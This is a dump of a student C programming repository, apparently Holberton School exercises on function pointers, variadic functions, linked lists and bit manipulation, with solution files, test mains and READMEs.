/0x0F-function_pointers/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x0F-function_pointers/0-print_name.c: -------------------------------------------------------------------------------- 1 | #include "function_pointers.h" 2 | 3 | /** 4 | * print_name - print a name using the function supplied by the caller 5 | * @name: the name to print 6 | * @f: the function to call to print the name 7 | * 8 | */ 9 | void print_name(char *name, void (*f)(char *)) 10 | { 11 | if (f == NULL) 12 | return; 13 | f(name); 14 | } 15 | -------------------------------------------------------------------------------- /0x0F-function_pointers/1-array_iterator.c: -------------------------------------------------------------------------------- 1 | #include "function_pointers.h" 2 | 3 | /** 4 | * array_iterator - perform an action on each element of an array 5 | * @array: the array to iterate over 6 | * @size: the size of array 7 | * @action: the action to perform on each array element 8 | * 9 | * Return: void 10 | */ 11 | void array_iterator(int *array, size_t size, void (*action)(int)) 12 | { 13 | if (array && action) 14 | { 15 | while (size--) 16 | action(*array++); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /0x0F-function_pointers/100-main_opcodes.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /** 5 | * main - print opcodes of this function 6 | * @argc: the size of the argument vector 7 | * @argv: the argument vector 8 | * 9 | * Return: Always 0 10 | */ 11 | int main(int argc, char *argv[]) 12 | { 13 | int b; 14 | char *mem = (char *) main; 15 | 16 | if (argc != 2) 17 | { 18 | printf("Error\n"); 19 | exit(1); 20 | } 21 | 22 | b = atoi(argv[1]); 23 | 24 | if (b < 0) 25 | { 26 | printf("Error\n"); 27 | exit(2); 28 | } 29 | 30 | while (b--) 31 | printf("%02x%c", *mem++ & 0xff, b ? ' ' : '\n'); 32 | 33 | return (0); 34 | } 35 | -------------------------------------------------------------------------------- /0x0F-function_pointers/2-int_index.c: -------------------------------------------------------------------------------- 1 | #include "function_pointers.h" 2 | 3 | /** 4 | * int_index - search for an integer 5 | * @array: the array to search 6 | * @size: the number of elements in the array 7 | * @cmp: the function to use to compare values (returns non-zero upon a match) 8 | * 9 | * Return: If no match is found or size is less than 1, or if array is NULL or 10 | * cmp is NULL, return -1. Otherwise return the index of the first match. 11 | */ 12 | int int_index(int *array, int size, int (*cmp)(int)) 13 | { 14 | int i; 15 | 16 | if (cmp && array) 17 | { 18 | for (i = 0; i < size; ++i) 19 | { 20 | if (cmp(array[i])) 21 | return (i); 22 | } 23 | } 24 | 25 | return (-1); 26 | } 27 | -------------------------------------------------------------------------------- /0x0F-function_pointers/3-calc.h: -------------------------------------------------------------------------------- 1 | #ifndef CALC_H 2 | #define CALC_H 3 | 4 | #include 5 | #include 6 | 7 | /** 8 | * struct op - calculator operator struct 9 | * 10 | * @op: the operator 11 | * @f: the associated function 12 | */ 13 | typedef struct op 14 | { 15 | char *op; 16 | int (*f)(int a, int b); 17 | } op_t; 18 | 19 | int op_add(int a, int b); 20 | int op_sub(int a, int b); 21 | int op_mul(int a, int b); 22 | int op_div(int a, int b); 23 | int op_mod(int a, int b); 24 | int (*get_op_func(char *s))(int, int); 25 | 26 | #endif /* CALC_H */ 27 | -------------------------------------------------------------------------------- /0x0F-function_pointers/3-get_op_func.c: -------------------------------------------------------------------------------- 1 | #include "3-calc.h" 2 | #include 3 | 4 | /** 5 | * get_op_func - select the correct function to perform an operation 6 | * @s: the operation to perform 7 | * 8 | * Return: If s is not one of the defined operators ('+', '-', '*', '/', '%'), 9 | * return NULL. Otherwise, return a pointer to the appropriate function. 10 | */ 11 | int (*get_op_func(char *s))(int, int) 12 | { 13 | int i = 0; 14 | op_t ops[] = { 15 | { "+", op_add }, 16 | { "-", op_sub }, 17 | { "*", op_mul }, 18 | { "/", op_div }, 19 | { "%", op_mod }, 20 | { NULL, NULL } 21 | }; 22 | 23 | while (s && ops[i].op != NULL) 24 | { 25 | if (!strcmp(s, ops[i].op)) 26 | return (ops[i].f); 27 | ++i; 28 | } 29 | 30 | return (NULL); 31 | } 32 | -------------------------------------------------------------------------------- /0x0F-function_pointers/README.md: -------------------------------------------------------------------------------- 1 | # 0x0F. C - Function pointers 2 | 3 | ## Intro to pointers to functions!!! 4 | 5 | --- 6 | 7 | ### [0. What's my name](./0-print_name.c) 8 | * Write a function that prints a name. 9 | 10 | 11 | ### [1. If you spend too much time thinking about a thing, you'll never get it done](./1-array_iterator.c) 12 | * Write a function that executes a function given as a parameter on each element of an array. 13 | 14 | 15 | ### [2. To hell with circumstances; I create opportunities](./2-int_index.c) 16 | * Write a function that searches for an integer. 17 | 18 | 19 | ### [3. A goal is not always meant to be reached, it often serves simply as something to aim at](./3-main.c) 20 | * Write a program that performs simple operations. 21 | 22 | --- 23 | -------------------------------------------------------------------------------- /0x0F-function_pointers/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x0F-function_pointers/function_pointers.h: -------------------------------------------------------------------------------- 1 | #ifndef FUNCTION_POINTERS_H 2 | #define FUNCTION_POINTERS_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | void print_name(char *name, void (*f)(char *)); 9 | void array_iterator(int *array, size_t size, void (*action)(int)); 10 | int int_index(int *array, int size, int (*cmp)(int)); 11 | 12 | #endif /* FUNCTION_POINTERS_H */ 13 | -------------------------------------------------------------------------------- /0x10-variadic_functions/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x10-variadic_functions/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "variadic_functions.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int sum; 12 | 13 | sum = sum_them_all(2, 98, 1024); 14 | printf("%d\n", sum); 15 | sum = sum_them_all(4, 98, 1024, 402, -1024); 16 | printf("%d\n", sum); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x10-variadic_functions/0-sum_them_all.c: -------------------------------------------------------------------------------- 1 | #include "variadic_functions.h" 2 | 3 | /** 4 | * sum_them_all - compute the sum of a variable number of arguments 5 | * @n: the number of unnamed arguments 6 | * @...: the unnamed arguments 7 | * 8 | * Return: the sum of the unnamed arguments 9 | */ 10 | int sum_them_all(const unsigned int n, ...) 11 | { 12 | va_list args; 13 | unsigned int remaining = n; 14 | int sum = 0; 15 | 16 | va_start(args, n); 17 | while (remaining--) 18 | sum += va_arg(args, int); 19 | va_end(args); 20 | 21 | return (sum); 22 | } 23 | -------------------------------------------------------------------------------- /0x10-variadic_functions/1-main.c: -------------------------------------------------------------------------------- 1 | #include "variadic_functions.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_numbers(", ", 4, 0, 98, -1024, 402); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x10-variadic_functions/2-main.c: -------------------------------------------------------------------------------- 1 | #include "variadic_functions.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_strings(", ", 2, "Jay", "Django"); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x10-variadic_functions/3-main.c: -------------------------------------------------------------------------------- 1 | #include "variadic_functions.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_all("ceis", 'H', 0, "lberton"); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x10-variadic_functions/README.md: -------------------------------------------------------------------------------- 1 | # 0x10. C - Variadic functions 2 | 3 | ## Intro to va\_list, va\_start, va\_arg, and va\_end 4 | 5 | --- 6 | 7 | ### [0. Beauty is variable, ugliness is constant](./0-sum_them_all.c) 8 | * Write a function that returns the sum of all its parameters. 9 | 10 | 11 | ### [1. To be is to be the value of a variable](./1-print_numbers.c) 12 | * Write a function that prints numbers, followed by a new line. 13 | 14 | 15 | ### [2. One woman's constant is another woman's variable](./2-print_strings.c) 16 | * Write a function that prints strings, followed by a new line. 17 | 18 | 19 | ### [3. To be is a to be the value of a variable](./3-print_all.c) 20 | * Write a function that prints anything. 21 | 22 | --- 23 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code, README.md, or a Manual Pg 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | !man* 9 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/0-print_list.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * print_list - print list items 5 | * @h: the list to print 6 | * 7 | * Description: Print each list item, prefixed by it's length, formatted using 8 | * "[%d] %s\n". If a list item is NULL, print it as "(nil)" with zero length. 9 | * 10 | * Return: size of the list 11 | */ 12 | size_t print_list(const list_t *h) 13 | { 14 | if (h) 15 | { 16 | if (h->str) 17 | printf("[%d] %s\n", h->len, h->str); 18 | else 19 | printf("[0] (nil)\n"); 20 | return (print_list(h->next) + 1); 21 | } 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/1-list_len.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * list_len - get the length of a list 5 | * @h: address of the first node in the list 6 | * 7 | * Return: the length of list h 8 | */ 9 | size_t list_len(const list_t *h) 10 | { 11 | return (h ? list_len(h->next) + 1 : 0); 12 | } 13 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | list_t *head; 14 | list_t *new; 15 | list_t hello = {"World", 5, NULL}; 16 | size_t n; 17 | 18 | head = &hello; 19 | new = malloc(sizeof(list_t)); 20 | if (new == NULL) 21 | { 22 | printf("Error\n"); 23 | return (1); 24 | } 25 | new->str = strdup("Hello"); 26 | new->len = 5; 27 | new->next = head; 28 | head = new; 29 | n = list_len(head); 30 | printf("-> %lu elements\n", n); 31 | free(new->str); 32 | free(new); 33 | return (0); 34 | } 35 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/100-first.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void init(void) __attribute__((constructor)); 4 | 5 | /** 6 | * init - execute before main 7 | */ 8 | void init(void) 9 | { 10 | printf("%s\n%s\n", 11 | "You're beat! and yet, you must allow,", 12 | "I bore my house upon my back!" 13 | ); 14 | } 15 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/4-free_list.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * free_list - a linked list 5 | * @head: the first list node 6 | */ 7 | void free_list(list_t *head) 8 | { 9 | if (!head) 10 | return; 11 | 12 | free_list(head->next); 13 | free(head->str); 14 | free(head); 15 | } 16 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/4-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | list_t *head; 14 | 15 | head = NULL; 16 | add_node_end(&head, "Jennie"); 17 | add_node_end(&head, "&"); 18 | add_node_end(&head, "Jay"); 19 | add_node_end(&head, "love"); 20 | add_node_end(&head, "asm"); 21 | print_list(head); 22 | free_list(head); 23 | head = NULL; 24 | return (0); 25 | } 26 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x12-singly_linked_lists/lists.h: -------------------------------------------------------------------------------- 1 | #ifndef LISTS_H 2 | #define LISTS_H 3 | 4 | #include 5 | #include 6 | 7 | /** 8 | * struct list_s - singly linked list 9 | * @str: string - (malloc'ed string) 10 | * @len: length of the string 11 | * @next: points to the next node 12 | * 13 | * Description: singly linked list node structure 14 | * for Holberton project 15 | */ 16 | typedef struct list_s 17 | { 18 | char *str; 19 | unsigned int len; 20 | struct list_s *next; 21 | } list_t; 22 | 23 | int _putchar(char c); 24 | size_t print_list(const list_t *h); 25 | size_t list_len(const list_t *h); 26 | list_t *add_node(list_t **head, const char *str); 27 | list_t *add_node_end(list_t **head, const char *str); 28 | void free_list(list_t *head); 29 | 30 | #endif /* LISTS_H */ 31 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't a README or C source code 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | listint_t *new; 15 | listint_t hello = {8, NULL}; 16 | size_t n; 17 | 18 | head = &hello; 19 | new = malloc(sizeof(listint_t)); 20 | if (new == NULL) 21 | { 22 | printf("Error\n"); 23 | return (1); 24 | } 25 | new->n = 9; 26 | new->next = head; 27 | head = new; 28 | n = print_listint(head); 29 | printf("-> %lu elements\n", n); 30 | free(new); 31 | return (0); 32 | } 33 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/0-print_listint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * print_listint - print the elements in a linked list 5 | * @h: a pointer to the first node 6 | * 7 | * Return: the number of list elements 8 | */ 9 | size_t print_listint(const listint_t *h) 10 | { 11 | if (h) 12 | { 13 | printf("%d\n", h->n); 14 | return (print_listint(h->next) + 1); 15 | } 16 | return (0); 17 | } 18 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/1-listint_len.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * listint_len - count the elements in a linked list 5 | * @h: a pointer to the first node 6 | * 7 | * Return: the number of list elements 8 | */ 9 | size_t listint_len(const listint_t *h) 10 | { 11 | return (h ? listint_len(h->next) + 1 : 0); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | listint_t *new; 15 | listint_t hello = {8, NULL}; 16 | size_t n; 17 | 18 | head = &hello; 19 | new = malloc(sizeof(listint_t)); 20 | if (new == NULL) 21 | { 22 | printf("Error\n"); 23 | return (1); 24 | } 25 | new->n = 9; 26 | new->next = head; 27 | head = new; 28 | n = listint_len(head); 29 | printf("-> %lu elements\n", n); 30 | free(new); 31 | return (0); 32 | } 33 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/10-delete_nodeint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * delete_nodeint_at_index - delete the element at the given index of a list 5 | * @head: a pointer to a pointer to the first node 6 | * @index: the index of the element to delete 7 | * 8 | * Return: 1 upon success, -1 upon failure 9 | */ 10 | int delete_nodeint_at_index(listint_t **head, unsigned int index) 11 | { 12 | listint_t *next; 13 | 14 | if (!head) 15 | return (-1); 16 | if (index && *head) 17 | return (delete_nodeint_at_index(&(*head)->next, index - 1)); 18 | if (index || !(*head)) 19 | return (-1); 20 | 21 | next = (*head)->next; 22 | free(*head); 23 | *head = next; 24 | 25 | return (1); 26 | } 27 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/100-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | 15 | head = NULL; 16 | add_nodeint_end(&head, 0); 17 | add_nodeint_end(&head, 1); 18 | add_nodeint_end(&head, 2); 19 | add_nodeint_end(&head, 3); 20 | add_nodeint_end(&head, 4); 21 | add_nodeint_end(&head, 98); 22 | add_nodeint_end(&head, 402); 23 | add_nodeint_end(&head, 1024); 24 | print_listint(head); 25 | reverse_listint(&head); 26 | print_listint(head); 27 | free_listint2(&head); 28 | return (0); 29 | } 30 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/2-add_nodeint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * add_nodeint - add an element at the beginning of a linked list 5 | * @head: a pointer to a pointer to the first node 6 | * @n: the element to add 7 | * 8 | * Return: If memory allocation fails or head is NULL, return NULL. 9 | * Otherwise, return the address of the new node. 10 | */ 11 | listint_t *add_nodeint(listint_t **head, const int n) 12 | { 13 | listint_t *new; 14 | 15 | if (!head) 16 | return (NULL); 17 | 18 | new = malloc(sizeof(listint_t)); 19 | if (!new) 20 | return (NULL); 21 | 22 | new->n = n; 23 | new->next = *head; 24 | *head = new; 25 | 26 | return (new); 27 | } 28 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | 15 | head = NULL; 16 | add_nodeint(&head, 0); 17 | add_nodeint(&head, 1); 18 | add_nodeint(&head, 2); 19 | add_nodeint(&head, 3); 20 | add_nodeint(&head, 4); 21 | add_nodeint(&head, 98); 22 | add_nodeint(&head, 402); 23 | add_nodeint(&head, 1024); 24 | print_listint(head); 25 | return (0); 26 | } 27 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/3-add_nodeint_end.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * add_nodeint_end - add an element at the end of a linked list 5 | * @head: a pointer to a pointer to the first node 6 | * @n: the element to add 7 | * 8 | * Return: If memory allocation fails or head is NULL, return NULL. 9 | * Otherwise, return the address of the new node. 10 | */ 11 | listint_t *add_nodeint_end(listint_t **head, const int n) 12 | { 13 | listint_t *new; 14 | 15 | if (!head) 16 | return (NULL); 17 | 18 | if (*head) 19 | return (add_nodeint_end(&(*head)->next, n)); 20 | 21 | new = malloc(sizeof(listint_t)); 22 | if (!new) 23 | return (NULL); 24 | 25 | new->n = n; 26 | new->next = *head; 27 | *head = new; 28 | 29 | return (new); 30 | } 31 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/3-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | 15 | head = NULL; 16 | add_nodeint_end(&head, 0); 17 | add_nodeint_end(&head, 1); 18 | add_nodeint_end(&head, 2); 19 | add_nodeint_end(&head, 3); 20 | add_nodeint_end(&head, 4); 21 | add_nodeint_end(&head, 98); 22 | add_nodeint_end(&head, 402); 23 | add_nodeint_end(&head, 1024); 24 | print_listint(head); 25 | return (0); 26 | } 27 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/4-free_listint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * free_listint - free a linked list 5 | * @head: a pointer to the first node 6 | */ 7 | void free_listint(listint_t *head) 8 | { 9 | if (head) 10 | { 11 | free_listint(head->next); 12 | free(head); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/4-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | 15 | head = NULL; 16 | add_nodeint_end(&head, 0); 17 | add_nodeint_end(&head, 1); 18 | add_nodeint_end(&head, 2); 19 | add_nodeint_end(&head, 3); 20 | add_nodeint_end(&head, 4); 21 | add_nodeint_end(&head, 98); 22 | add_nodeint_end(&head, 402); 23 | add_nodeint_end(&head, 1024); 24 | print_listint(head); 25 | free_listint(head); 26 | head = NULL; 27 | return (0); 28 | } 29 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/5-free_listint2.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * free_listint2 - free a linked list and set the head to NULL 5 | * @head: a pointer to a pointer the first node 6 | */ 7 | void free_listint2(listint_t **head) 8 | { 9 | if (head && *head) 10 | { 11 | free_listint2(&(*head)->next); 12 | free(*head); 13 | *head = NULL; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/5-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | 15 | head = NULL; 16 | add_nodeint_end(&head, 0); 17 | add_nodeint_end(&head, 1); 18 | add_nodeint_end(&head, 2); 19 | add_nodeint_end(&head, 3); 20 | add_nodeint_end(&head, 4); 21 | add_nodeint_end(&head, 98); 22 | add_nodeint_end(&head, 402); 23 | add_nodeint_end(&head, 1024); 24 | print_listint(head); 25 | free_listint2(&head); 26 | printf("%p\n", (void *)head); 27 | return (0); 28 | } 29 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/6-pop_listint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * pop_listint - get the first element of a linked list and remove it 5 | * @head: a pointer to a pointer to the first node 6 | * 7 | * Return: the first list element, or 0 if the list is empty 8 | */ 9 | int pop_listint(listint_t **head) 10 | { 11 | int data; 12 | listint_t *old; 13 | 14 | if (!(head && *head)) 15 | return (0); 16 | 17 | data = (*head)->n; 18 | 19 | old = *head; 20 | *head = old->next; 21 | free(old); 22 | 23 | return (data); 24 | } 25 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/7-get_nodeint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * get_nodeint_at_index - get the node at a given index of a linked list 5 | * @head: a pointer to the first node 6 | * @index: the index of the desired node (starting at 0) 7 | * 8 | * Return: If the node does not exist, return NULL. Otherwise, return a pointer 9 | * to the requested node. 10 | */ 11 | listint_t *get_nodeint_at_index(listint_t *head, unsigned int index) 12 | { 13 | if (head && index) 14 | return (get_nodeint_at_index(head->next, index - 1)); 15 | return (head); 16 | } 17 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/8-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | listint_t *head; 14 | int sum; 15 | 16 | head = NULL; 17 | add_nodeint_end(&head, 0); 18 | add_nodeint_end(&head, 1); 19 | add_nodeint_end(&head, 2); 20 | add_nodeint_end(&head, 3); 21 | add_nodeint_end(&head, 4); 22 | add_nodeint_end(&head, 98); 23 | add_nodeint_end(&head, 402); 24 | add_nodeint_end(&head, 1024); 25 | sum = sum_listint(head); 26 | printf("sum = %d\n", sum); 27 | free_listint2(&head); 28 | return (0); 29 | } 30 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/8-sum_listint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * sum_listint - compute the sum of all elements in a linked list 5 | * @head: a pointer to the first node 6 | * 7 | * Return: the sum of all list elements, or 0 if the list is empty 8 | */ 9 | int sum_listint(listint_t *head) 10 | { 11 | return (head ? head->n + sum_listint(head->next) : 0); 12 | } 13 | -------------------------------------------------------------------------------- /0x13-more_singly_linked_lists/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x14-bit_manipulation/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't a README or C source code 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/0-binary_to_uint.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * binary_to_uint - convert a binary string to an integer 5 | * @b: the string to convert 6 | * 7 | * Return: the converted number, or 0 if b contains a character 8 | * other than '0' and '1' 9 | */ 10 | unsigned int binary_to_uint(const char *b) 11 | { 12 | unsigned int n = 0; 13 | 14 | if (!b) 15 | return (0); 16 | 17 | while (*b) 18 | { 19 | n <<= 1; 20 | if (*b == '1') 21 | n += 1; 22 | else if (*b != '0') 23 | return (0); 24 | ++b; 25 | } 26 | return (n); 27 | } 28 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | unsigned int n; 12 | 13 | n = binary_to_uint("1"); 14 | printf("%u\n", n); 15 | n = binary_to_uint("101"); 16 | printf("%u\n", n); 17 | n = binary_to_uint("1e01"); 18 | printf("%u\n", n); 19 | n = binary_to_uint("1100010"); 20 | printf("%u\n", n); 21 | n = binary_to_uint("0000000000000000000110010010"); 22 | printf("%u\n", n); 23 | return (0); 24 | } 25 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | print_binary(0); 12 | printf("\n"); 13 | print_binary(1); 14 | printf("\n"); 15 | print_binary(98); 16 | printf("\n"); 17 | print_binary(1024); 18 | printf("\n"); 19 | print_binary((1 << 10) + 1); 20 | printf("\n"); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/1-print_binary.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _print_binary - print a number in binary 5 | * @n: the number to print 6 | */ 7 | void _print_binary(unsigned long int n) 8 | { 9 | if (n) 10 | { 11 | _print_binary(n >> 1); 12 | _putchar('0' + (n & 1)); 13 | } 14 | } 15 | 16 | /** 17 | * print_binary - print a number in binary 18 | * @n: the number to print 19 | */ 20 | void print_binary(unsigned long int n) 21 | { 22 | if (n) 23 | _print_binary(n); 24 | else 25 | _putchar('0'); 26 | } 27 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/100-get_endianness.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * get_endianness - determine the endianness of the OS 5 | * 6 | * Return: 0 if big endian, 1 if little endian 7 | */ 8 | int get_endianness(void) 9 | { 10 | unsigned int n = 1; 11 | 12 | return (*(char *)(&n) == 1); 13 | } 14 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/100-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | int main(void) 5 | { 6 | int n; 7 | 8 | n = get_endianness(); 9 | if (n != 0) 10 | { 11 | printf("Little Endian\n"); 12 | } 13 | else 14 | { 15 | printf("Big Endian\n"); 16 | } 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/2-get_bit.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * get_bit - check if a bit is on 5 | * @n: the integer to operate on 6 | * @index: the index of the desired bit 7 | * 8 | * Return: If the index is invalid, return -1. Otherwise, return the value 9 | * of the bit at the specified index, or if 10 | */ 11 | int get_bit(unsigned long int n, unsigned int index) 12 | { 13 | if (index >= sizeof(n) * 8) 14 | return (-1); 15 | return (1 & (n >> index)); 16 | } 17 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int n; 12 | 13 | n = get_bit(1024, 10); 14 | printf("%d\n", n); 15 | n = get_bit(98, 1); 16 | printf("%d\n", n); 17 | n = get_bit(1024, 0); 18 | printf("%d\n", n); 19 | return (0); 20 | } 21 | -------------------------------------------------------------------------------- 